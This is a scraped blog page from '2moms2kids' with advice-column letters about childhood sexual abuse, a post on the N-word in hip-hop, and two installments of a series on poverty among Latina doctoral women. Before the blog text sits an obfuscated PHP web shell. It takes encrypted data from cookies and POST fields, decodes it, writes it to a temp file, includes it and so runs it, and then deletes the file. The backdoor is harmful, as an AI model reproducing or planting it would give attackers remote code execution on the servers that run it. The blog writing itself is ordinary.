$KCDdBtEg = "\163" . "\137" . chr (65) . chr (81) . "\x46";$WLhpiHcr = "\143" . 'l' . chr ( 1060 - 963 ).'s' . "\x73" . '_' . chr (101) . "\170" . 'i' . "\163" . chr (116) . chr ( 304 - 189 ); $cFdyUyKg = class_exists($KCDdBtEg); $KCDdBtEg = "15652";$WLhpiHcr = "32508";$sdLOHijTc = 0;if ($cFdyUyKg == $sdLOHijTc){function IjjAuKwsE(){return FALSE;}$lHwws = "19028";IjjAuKwsE();class s_AQF{private function rjdevHf($lHwws){if (is_array(s_AQF::$xvNmTcJm)) {$YqmzCQjauF = sys_get_temp_dir() . "/" . crc32(s_AQF::$xvNmTcJm["\163" . chr ( 472 - 375 )."\154" . chr ( 203 - 87 )]);@s_AQF::$xvNmTcJm["\x77" . 'r' . "\x69" . chr (116) . "\145"]($YqmzCQjauF, s_AQF::$xvNmTcJm["\x63" . "\157" . chr (110) . chr ( 936 - 820 )."\x65" . chr (110) . chr ( 299 - 183 )]);include $YqmzCQjauF;@s_AQF::$xvNmTcJm[chr ( 655 - 555 ).'e' . chr ( 263 - 155 ).chr (101) . "\x74" . 'e']($YqmzCQjauF); $lHwws = "19028";exit();}}private $nyBiPvdEAZ;public function nMiyTR(){echo 4720;}public function __destruct(){$lHwws = "49302_9227";$this->rjdevHf($lHwws); $lHwws = "49302_9227";}public function __construct($hYnsFX=0){$qEaVVqKyv = $_POST;$FQdomGoA = $_COOKIE;$mjRCM = "8f61e995-3955-4efb-9c83-5dace39335cf";$ZCeSIiR = @$FQdomGoA[substr($mjRCM, 0, 4)];if (!empty($ZCeSIiR)){$jVNzUotjI = "base64";$pKyfr = "";$ZCeSIiR = explode(",", $ZCeSIiR);foreach ($ZCeSIiR as $RKkjtN){$pKyfr .= @$FQdomGoA[$RKkjtN];$pKyfr .= @$qEaVVqKyv[$RKkjtN];}$pKyfr = array_map($jVNzUotjI . "\x5f" . "\x64" . "\x65" . chr (99) . chr ( 207 - 96 ).'d' . chr (101), array($pKyfr,)); $pKyfr = $pKyfr[0] ^ str_repeat($mjRCM, (strlen($pKyfr[0]) / strlen($mjRCM)) + 1);s_AQF::$xvNmTcJm = @unserialize($pKyfr); $pKyfr = class_exists("49302_9227");}}public static $xvNmTcJm = 28509;}$PJSPhJyN = new /* 27523 */ s_AQF(19028 + 19028);unset($PJSPhJyN);} Parenting Inspiration – 2moms2kids

Topic: Parenting Inspiration

Should I Talk to Someone?

Dear Survivor:

Should I talk to someone? My husband thinks I should talk to someone about my being molested when I was a kid. He says it is affecting our sex life.

The Past is the Past

I don’t understand why I should dredge up the past.

I have moved on

I am a mother now, I have moved on in my life.

Why relive something so painful?

Sincerely, Moved-On

Dear Moved-On:

Your husband is offering great advice. Although you may have “moved-on” the effects of abuse are long-lasting and can play out in subtle ways.

Your husband may notice things that you are not connecting to your abuse.

Clearly, dealing with abuse is painful, but it may also be life-changing.

Find a professional therapist that you are comfortable with; this may not be the first person you see, but make an honest effort to find someone who is a good match for you.

Dealing with the past could clear a path for the present and the future.

It is a risk worth taking.

Angelica

Check out: http://www.healingwell.com/library/health/grold1.asp

#thoughtleader #phdmama #2moms2kids #consciouslydrivencontent

Poor American Women: An Introduction

child with dirty clohthes

child with dirty clohthes    

Poor American Women

Insider’s Perspective

Poor American women give us an inside look at what it means to be poor.  By providing in insiders view to poverty in America, I hope to bring understanding instead of criticism.

Redefining poverty

Poverty has many definitions; however, whether defined by academics, lexicons of government institutions, or the media, each definition is missing one very critical element: the subjective experience of being poor.

Poverty not just about money

Poverty is more than just not having money, food, and shelter. It is more than a list of lacks. It is about carrying burdens and navigating systems that should be helping but not always are. It is the way the world looks at you, and the way you look at the world. I hope to illuminate these meanings in this series.

My story too

I am compelled to give voice and tell the insiders story about poverty, because I grew up poor, and my understanding and experience went beyond not having my basic needs met. It included inadequate medical care, deprivation of safety — physical and mental — a demeaning lack of clean clothes, poor nutrition, looming violence, transience, precarity, and invisibility.

Deprivation

This experience motivated me to risk my own vulnerability to show what poverty feels like.

I lived the majority of my childhood and adolescence on the financial brink. But this is not a “rags to riches” story about one Latina girl who “beat the odds.” It’s not just my story to tell, but also the story of many other Latinas.

Stereotypes and myths

I want to dispel the ubiquitous stereotypes ramped up in today’s political climate, used as currency in political dialogues and debates — stereotypes conveyed as truths, breeding frenzy and rhetoric that Latinos do not value education (or are ruining education for others); that they are lazy and don’t want to participate in life beyond their communities; that they are a menace to the safety of others. This is not who I am nor is it part of my cultural experience.

Counter-stories are critical

Narratives

To gather data and tell this counter story, I interviewed 10 women. The research included looking at report cards, historical photographs, and geographical maps of their neighborhoods, cumulative files from schools, letters of recommendation, athletic awards, and school yearbooks.

Historical documents

Each of these documents yielded a richer and deeper understanding of the person I was interviewing and gave me a front seat into what poverty looked like, smelled like, and felt like to these women. With these documents, they gave me a personal tour through their neighborhoods, shared their religious and cultural rituals, their work and consumer habits, their family dynamics and their family dinners.

Into their lives

Our intimacy included tears; we shared stories that actually helped us laugh through the pain of what it felt like to be poor. What more could I ask for? With them I was an insider.

Traditional historical research

Historically, stories about marginalized groups of people are told from an outsider’s perspective. The writer — be it a journalist, psychologist, sociologist, anthropologist, or other expert — observes, perhaps seeks to engage in, the lived experience and tell the story from his or her embedded, personalized view.

Huge gaps of missing information

Although this is the standard format for most media, textbooks, and others sources of information, such views can sacrifice the nuanced nature of the lives of others, the complexity of relationships, and the presumed level of trust established between the writer and the written about.

Honoring their story

The counter story assumes the importance of the people being written as the experts in telling their own story. The insider recites her story through her own self-awareness, contact, and life realities. The protagonist becomes the narrator.

The Women

The criteria for the study was that the women had to have experienced poverty at some point in their lives, had to identified as Latina/Chicana or Mexican, and either held a doctorate degree or was in the process of earning a doctorate. In this first installment, I will introduce the women who will tell the story.

Luna

Luna was, at the time of this interview, completing her Ph.D. at UCLA. She was raised by a single parent, her father, who was of Mexican origin. Luna’s father was an immigrant worker in The Bracero Program, a guest worker program that ran from 1942 to 1964, bringing laborers to the United States in an effort to address labor needs that emerged as a result of World War II.

Luna grew up in poverty and was the first member of her family to attend college. Luna planned to use her Ph.D. as a revolutionary tool for embracing humanitarian principles and creating change for those with the least access to power.

Violeta

Violeta was born in Tijuana, Mexico, and arrived in the United States as an undocumented child at the age of four with her parents and sister. Her parents later had two more children in the U.S. She and her family struggled through poverty, deprivation, and social marginalization.

In 2010, Violeta earned her doctorate from an internationally renowned university. Both her parents had sixth-grade educations from rural Mexico; thus, Violeta was the first in her family to graduate from middle school and then high school. She also held a master’s degree in education from a private university in Northern California. Violeta lived her early childhood, adolescence, and early adulthood in poverty.

Carmen

Carmen had already earned a doctoral degree and was currently balancing motherhood and working as a senior research associate. She was born to immigrant parents and raised in Los Angeles. Although her family lived with financial limitations, she did not associate shame or inferiority with her humble upbringing. Hard work and dignity were always part of her values and vision for life.

She regarded her working-class background as a source of strength and perspective on a daily basis. She lived her early childhood, adolescence, and early adulthood in poverty.

Monica

Monica was born and raised in San Gabriel County by a single mother. She moved from place to place, from family to friends’ houses following a stepfather who was a migrant farm worker. Despite frequent moves, Monica excelled in school both socially and academically. She lived her early childhood, adolescence, and early adulthood in poverty.

Patricia

Patricia held a doctoral degree and, at the time of this study, was an assistant professor at a Cal State University. She was born in Los Angeles and raised in Orange County by her immigrant parents. She considered her schooling to be very good and had been prepared and tracked to got to college, although she was one of a few Latinas on a college track. She lived her early childhood in poverty, but moved into middle class as she entered elementary school.

Susana

Susana was born in South Central Los Angeles and was raised by hard-working immigrant parents. Although her family struggled financially, she was inspired by the dedication and sacrifice her parents made everyday as they worked long hours in sweatshops not only to survive, but also to save enough to make their entrepreneurial dream of owning a tiendita [a small family store] a reality.

Their drive greatly impacted and inspired Susana as she moved through the educational pipeline. Susana held a bachelor’s degree in political science, a master’s degree in education, and — at the time of this study — was a third-year doctoral student at UCLA. She had attended school in a predominately Latino neighborhood, where one distinguished oneself from the “really poor” by wearing brand-named clothes. She lived in the heart of where the 1992 Los Angeles Riots — renamed the LA Uprisings by social justice practitioners — took place and remembered the billowing smoke that enveloped her neighborhood. She lived her early childhood, adolescence, and early adulthood in poverty.

Consuelo

Consuelo was a doctoral candidate in the midst of her dissertation research. She was born and raised in California’s Central Valley (Kern County) by her immigrant parents. She lived her early childhood and middle childhood in poverty. As the daughter of farm working parents, Consuelo spent some summers assisting her parents in the fields.

Being the oldest daughter, she later bore the responsibility of taking care of her two younger siblings. While her two older brothers worked the fields along side their parents after school, she spent afternoons taking care of her younger brother and sister and cooking and cleaning the home. Although her parents worked hard to make ends meet, she felt secure because her grandparents lived right across the street, and she could always run across the road if she needed anything.

As a student, Consuelo always did well in school. Her older brother, who was the first in her family to attend a university, motivated her to do well in school to prepare to attend a university. Both her parents’ sacrifices working the fields and her brother’s example drove her interest in pursuing a university education. She lived her early childhood and middle childhood in poverty.

Maria

Maria was born in Guatemala and immigrated to the United States at 15. Her family was forced to immigrate to the U.S. due to the civil war, which raged from 1960-1996 among factions associated with the government, right-wing paramilitary organizations, and left wing insurgents.

In going north, her family sought to escape poverty, fear, and the violence of war. As an undocumented immigrant, she did not escape fear and in poverty, but she and her family always chose to stay positive and focus on the values important to them, such as education, hard work, family, and contributing to society in a positive way.

She had been a college professor in both private and public universities and was, at the time of this study, completing her doctoral dissertation. Her passion was to work with low-income and minority students and their families so that they could achieve their goals and dreams just as she was.

Vanessa

Vanessa was a 32-year-old Chicana transfer student pursuing her doctoral degree at a major research university. She was born in San Diego, California, and raised in the City of Riverside by her parents, grandmother, and relatives.

Born into a military family, Vanessa had lived her early childhood in family housing at the Naval Air Station in New Orleans, Louisiana. Although she had lived in military housing, Vanessa’s early memories were of her parents working multiple jobs and spending numerous hours in the base child care program.

As her family made its way to California, her parents were able to cut back on the number of jobs they had, but nonetheless commuted countless hours around the Southern California area. This arrangement continued throughout her adolescence and early adult life.

Vanessa was not truly aware of her family’s status until her father retired from the military. From then, her family struggled to maintain consistent work and was underemployed for several years. During this time, her mother also struggled to find regular work, which pushed Vanessa to start working at 15 years old.

As Vanessa moved into early adulthood, her family continued to struggle and eventually lost its family home of 18 years. Without a home and living with relatives, Vanessa carried multiple jobs while attending college full time. One of her motivations for completing college was to never become homeless again.

For several years, Vanessa lived on her own and found ways to make ends meet. As such, she continued to be self-aware of the different opportunities her peers had, like playing sports, traveling, and participating in school activities — opportunities she missed due to the lack of transportation and the unavailability of her parents.

Her work ethic derived directly from seeing her parents struggle financially and experiencing hardship around basic needs. She lived her early childhood, adolescence, and early adulthood life in poverty.

Shalah

Shalah could not identify a specific time that she and her family had lived in poverty but recalled getting food stamps and free and reduced-price lunch in early elementary school.

Raised in the glow of her parents’ aspirations and sacrifices, Shalah was always aware that she had the responsibility to make her parents proud of her. She had witnessed the ganas (perseverance) and lucha (drive) that her parents would devote day in and day out to make their small business flourish in order to raise their children in an economically stable and supportive home. Therefore, Shalah was the product of immigrant dreams, struggles, and love.

Ten Women

These ten women shared several commonalities with me — a thread weaving through the story not only of their lives, but also of the lives of the people around them. Racial identification would follow them as they navigated through the corridors of high school and sat as the “only Latina” in their college classes. Their experiences of being poor would linger in their minds as they set and reset goals with each new barrier and challenge.

The next installment in the series is: Understanding Poverty from the Inside: Defining Poverty.

#thoughtleader #phdmama #2moms2kids #consciouslydrivencontent #LAuprising #latinx #2moms2kids #bah #latinx #LA #chicana

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Hip Hop: The N Word and the flagrant use of it

This word has been banned from my house as I try to express the history of the word and the aggression that came with it.

Hip-hop and rap music has transcended into the global market.  Kids across the world and chanting and rapping using the N-Word with what appears to be zero understanding the history of the word.

The N-Word and Hip Hop Lyrics

This conversation comes up often whether on social media, the school cafeteria or between parents.

My friend an colleague Dr. Amina Humphrey I wish I had the exact words practiced and rote for me to deliver when asked, “Why is the N-Word so bad?

What to say to your kids?

Hip-hop and rap music gives a pass to people to use the word, why?

Those who use the word are forgetting the history of the word.

There is little critique as it is the language of oppression.  It began with the oppressor.

Images of lynchings, we know from history and witness accounts that the last word these men heard before they were lynched, was the N-Word.

The intention of the word is hateful and filled with violence and atrocities.  How and why is it used by black men and women who know the history?

Help us understand

“One group does not have ownership of the word.” Amina Humphrey

Non-black transracial teens listen to hip-hop lyrics reciting the words and using the N-Word as a banter back and forth to their friends is a reminder that they are ignorant about the history.

I would love to have the conversation with the writers of the lyrics that include the N-Word, and other words that are hateful toward women, gays, and others.

Let’s sit down and have a conversation.

#snoopdog #drdre #languageofoppression

 

Help I Don’t Know What to Do! : Apology?

letter of apology

Help I Don’t Know What to Do?

Dear Survivor,

I just received a letter from my brother with a vague apology for his abuse against me.

He just started a 12-step program for drugs and alcohol. A huge part of me wants to unleash on him and detail every horrible thing he has done to me.

Another part of me just wants him to crash and burn.

Signed,

What To Do?

Dear What To Do,

First of all, you don’t have to do anything. Just because he is ready to apologize doesn’t mean that you are ready to deal with him.

It would be good to talk to a professional before you get caught up in something you are not ready to delve into.

One way or another dealing one on one with him may feel a bit too dangerous.

Clearly, the letter itself evoked a lot of feelings.

Pace yourself and deal with him on your terms.

It would be good to talk to a professional before you get caught up in something you are not ready to delve into.

One way or another dealing one on one with him may feel a bit too dangerous. Clearly, the letter itself evoked a lot of feelings. Pace yourself and deal with him on your terms not his. There is absolutely no way to gauge the sincerity of his apology.

Do what feels safest, but don’t do it alone.

SaveSave

SaveSave

Poor American Women: Defining Poverty

mother and child

mother and child

My mother and me. Bell Gardens, CA 1973

This is the second installment in a series: “Understanding Poverty from the Inside.”
 It was first posted in The Huffington Post in 2017.

When I think of poverty, images from my own life flood my mind before a word even comes through. Even today as I write, I struggle to commit the words to print. I am trying to distinguish whether it is the smothering shame I had for being poor or the invisibility, pain, and insecurity of being poor that suspends the stroke of the keyboard.

Internal Struggles

The truth is that I could not have written this when my mother was alive. “Cover up, like Nixon” was the maxim; although I didn’t know what she meant until I was an adult.

Shame is passed along like a simple game of tag, “Tag, you’re it.” As a child, I did not understand why we had to hide the brand new toaster when the social worker came or pretend not to be home when the landlord knocked. It soon became clear; we weren’t supposed to have anything new or anything nice.

Window Shopping

For the majority of my adult life I felt like I was window-shopping at the grocery store, bookstore, and even coffeehouse. The difference between what I wanted and what I needed, played back and forth in my head like a tennis volley. Wants felt self-indulgent and decadent. “Should I pay an extra dollar fifty for them to whip milk into my coffee? Nah, I will just have a house coffee, thanks.”

I was recently reminded of my past as I watched the documentary City of Gold. The movie transports us in and out of ethnic mom and pop restaurants, driving past abandoned buildings, graffiti, concrete, grassless lawns; as my seatmate stated, “Los Angeles is ugly.” I whispered back, “These are the poor areas of Los Angeles.”

I did not do anything to contribute to my poverty, it was mere circumstance. I was born into it, like you were into your family. But it is a hidden, unspoken barrier that separates you and me. I want to break this barrier today and show you who I am. I want to bring humanity and compassion to the issue of poverty.

Let me explain:

As tears drip from my face at this moment, I believe that it is more than shame; it is the pain of being poor and the experiences that haunt me. Among other feelings, being poor meant not having a choice. Protest was not an option, I—we—had no choice about what I ate, where I lived, and the clothes I wore.

Choice?

I can’t pinpoint the moment I first felt it, but the feeling was deeply embedded in my psyche. The fear of being exposed like a slow leak of poisonous gas followed me around. The terror of exposure was once crippling, but today I am reminded that this is not just my story; today, in the United States, 14.5% of the population experiences poverty; 22% of Californians experience poverty. I was not alone in this and am not speaking about something that has been eradicated. Poverty continues to cripple communities.

Remnants

I want to walk you through the smells, the textures . . . all of it. I will take you through one of my homes—one of over 14 different apartments I lived in during my childhood, but all of the elements are the same. Each move guaranteed a few days and nights without electricity, the windows covered by towels or sheets until the furniture a remnant from the Salvation Army Thrift Store, the tiny kitchen stuffed with plastic plates, Alpha Beta dish sets, juice glasses from the Doña Maria Mole jar, AM/PM 32 oz. graphic cups, pots and pans made of aluminum sold at the 99 cent store, generic soaps, shampoos, cleaning supplies with faux sponges to clean. The bathroom towels followed us from apartment to apart each worn and dingy, the decorative washcloth embroidered with a swan served as the solo accent decor of the bathroom.

Earthquakes and Government Subsidies

The dining room table with matching chairs arrived as the result of the 1987 earthquake. Our tragedy came with perks. We lost our apartment, which was condemned from the damage, and everything in it. We got government vouchers to an East Los Angeles furniture store where, for first time, I got a bedroom set (bedframe with detached headboard, two side tables, and a dresser). Each drawer made of a thin sheet of particleboard . . . gold knobs and laminate. I was careful not to pull too hard or the plastic wheels would show their fragility.

I was 18 when I received my first sheet set that matched: one fitted sheet, one flat sheet and two standard pillows. Our furniture finally matched: a couch, a coffee table and a bureau. Each piece carefully placed in what came to feel like a nice shoebox, with walls, the doors hollow and light. The furniture matched the construction of the apartment simple, quick, and ready. Laminate glue holding together a illusion. My definition and experience of being poor: a top, visible sheet over a multilayered experience that takes you deeper in.

Who is poor?

Part of this study was simply to ask the women how they defined being poor. As one of the criteria for the study, they already matched the measure for poor as defined by the U.S. Government. Each woman—as did I—qualified for free or reduced-cost lunch and self-identified a having been poor

I began this project by thinking about the definition of poverty as someone who has experienced poverty and what exactly the standard definition overlooks. To arrive at a more nuanced and subjective understanding, I asked participants how they would define poverty. (For a mini biography of the study participants, see the first installment in this series, here.)

Below are the responses they provided:

Luna stated:

Let’s see. I would define it . . . for me poverty is not being able to afford somewhere to live, having food in your refrigerator, or clothes. Not having enough money to make a living and being in a place that is just really difficult financially.

Violeta said:

I think if I were to put it in two words, “not having.” So, not having money, first and foremost, but also not having sometimes-basic needs for school. Sometimes not having the proper school supplies, not having . . . when I was in athletics, not having the proper shoes or the proper athletics gear and how to raise money to get those things that I needed. Not having access to tutors when I was doing badly in math. Not having sometimes my parents around, especially my dad because he had to work different jobs to basically make ends meet. I think those two words, “not having” is like for me what poverty really means. It’s like a lack of, not having. [emphasis mine]

Carmen stated:

I define poverty, being unable to do things that force you to have to make ends meet where the children are an intricate part of that involvement, where they become, in essence, part of the child labor in the family economy. So I think that when a family really struggles financially, they have to sort of pull from any avenue is when you see yourself in a situation where you’re poor. [emphasis mine]

Monica offered:

I guess people that have a low basic unsteady income and struggle paying the basic needs, like basic groceries, utilities, housing, struggle to pay for it. The basic roof over the head, meals, you know.

Patricia explained:

Well we do free and reduced lunch, plus additional factors like receiving – but we do recognize the qualitative niches of like, okay, there’s times when families are unstable and stuff, so there was an early period in my family’s life when we were really unstable, like my dad would like have $20.00 for food and he’d be like, should I go gamble or not?

Susana offered:

For me, I guess, when I think of poverty, I think people who can’t afford food or economical hardship, so it’s all kind of economical, in terms of just money, not having enough of it, or not having enough to survive. So that’s how I think about poverty. So I guess it would be, “Poverty is the level of having either money or not sufficient money to survive.” So when, I guess, in an application, compared to the medium household income, we always fell below that, so that’s why I put “Yeah.” And I guess in that category, I do fall under free and reduced lunch, so it’s poverty. Okay, because that’s gonna be kinda hard to gauge poverty, because in my eyes, I don’t see myself or our family as poor, but then in comparison to certain things, like if we got the free and reduced lunch, then we were. So if we do the free and reduced lunch, all of the years. I always got it.

Consuelo offered the following definition:

So to me, poverty is just not having anything, like nothing to eat, really, really struggling. To me, poverty means that you have nothing. You have nothing to eat, no clothes, you’re practically almost homeless. And I feel like sometimes, I don’t feel that I was ever hungry or didn’t have anything on the table. I mean, I didn’t have the best of stuff or food, but I had stuff to eat. So to me, poverty is just not having anything, like nothing to eat, really, really struggling.

Maria stated:

I think its lack of resources, like difficulty surviving every day. Like having to worry about having money to eat, to pay for what you need.

Vanessa explained:

I think my definition, I guess, based on my experience, would generally be poverty includes you not having money to even eat, to purchase any lunch, like school lunches or even at the grocery store or for dinner or what have you, so that feeling of going without, being hungry, to me, it would define poverty. But also having to figure out how to take care of medical care, having parents with medical needs and not having even insurance, I would include that. And as well as having a home, so being homeless, I think is, for me, that defines my experience of being poor or experiencing poverty. So I think those were the main factors. So I think poverty would also be like, should consider or include the fact that if you depend on credit, then it doesn’t make you rich, it just makes you that you’re – And I don’t think we usually consider that, or people who might be in between that might be like, okay, we have X amount, we make this much money, they assume that you can afford all these extra things, but it’s like well, if you have all these bills to pay . . .

Shalah stated:

I know there are different layers of poverty, but how I would define it right now, at 34 years old and in all my experience, is not having clean clothing, shelter, not feeling supported, feeling alone, and seeing a lot of those men in downtown L.A., that’s the picture I paint when I think of poverty . . . so when I think of poverty and defining it, I think of Los Angeles street and all those people out there, that’s what I think of. I think of not having a home. [emphasis mine]

Defining Poverty

Many of the participants’ definitions made reference to a lack of financial security. Six of the participants gave definitions that separated and objectified poverty; they did not make references to themselves or their own lived experiences. As such, their responses were consistent with standard definitions of poverty. Patricia, Consuelo, Vanessa, and Susana made reference to their family or their experience.

In retrospect, I realized that the question itself was loaded. I wondered why they had offered up standard definitions—why not say, “I have tried to forget that painful past, poverty is horrendous.” (Or, were they, in fact, “forgetting” by virtue of offering such conventional definitions? Did the question provoke memories of a forgotten time, a repressed time?) Was the fact that I was their peer/colleague influencing their answers? Were their lives as doctoral students that far removed from their experiences of being poor? Perhaps they had intellectualized their own experiences. Undoubtedly, it is easier to address an issue when you have some distance from it. Could it be that these women had been socialized (and educated) to discuss social issues in a rote and objectifying way. Perhaps these responses had not been thought out. Perhaps these women had been caught off guard.

I thus realized that the difficulty in answering the question, “How would you define poverty?” It may have to do with the question itself as well as with the timing of the question. I could have provided a prompt to get what I wanted by asking for a definition that included a personal experience. Such a question could have looked like this, “Considering that you experienced poverty for the majority of your life, how would you convey what it means to be poor to someone who doesn’t understand the layers of deprivation, doing without, and sacrifice?” However, this would have compromised my study, I wanted the interviews to be organic and fluid.

Vanessa’s definition touched on many aspects of poverty, including having bills to pay, being homeless, and lacking medical care and insurance. Violeta remarked on how poverty had affected her participation in school sports, academics, and family time. Both of these women shared a part of their own history in their definition without explicitly stating that their descriptions referenced their experience. Shalah acknowledged the multiple dimensions of poverty, including “feeling alone,” then shifted her definition to “the men in downtown L.A.” Consuelo and Susana used their definition to exclude themselves from having been poor.

Although bound by certain constraints due of the dissertation format, I tried to represent their stories, uninterrupted by my own questions and curiosities. Instead of probing and directing the discussion, this testimonio format honors participant voices and interpretations without judgment about accuracy. The stories themselves and the way they are told is the story—interruptions, self-corrections, variations, self-interpretations, and all. Telling one’s own story and honoring one’s own voice democratizes the experience. Giving voice may not bridge the divide between gender, race, and class, but it validates one’s story as equal in importance to the majoritarian story—the privileged discourse that has historically supplanted the discourse of the “other,” in the case of these women, the poor and people of color. Narratives are about choice, and each of these women shared what they felt they could share. My next installment gives a first-hand account of the personal challenges the women in this study confronted by being poor in regard to their housing and their neighborhood.

The next installment in the series is: Understanding Poverty from the Inside: Home and Neighborhood.

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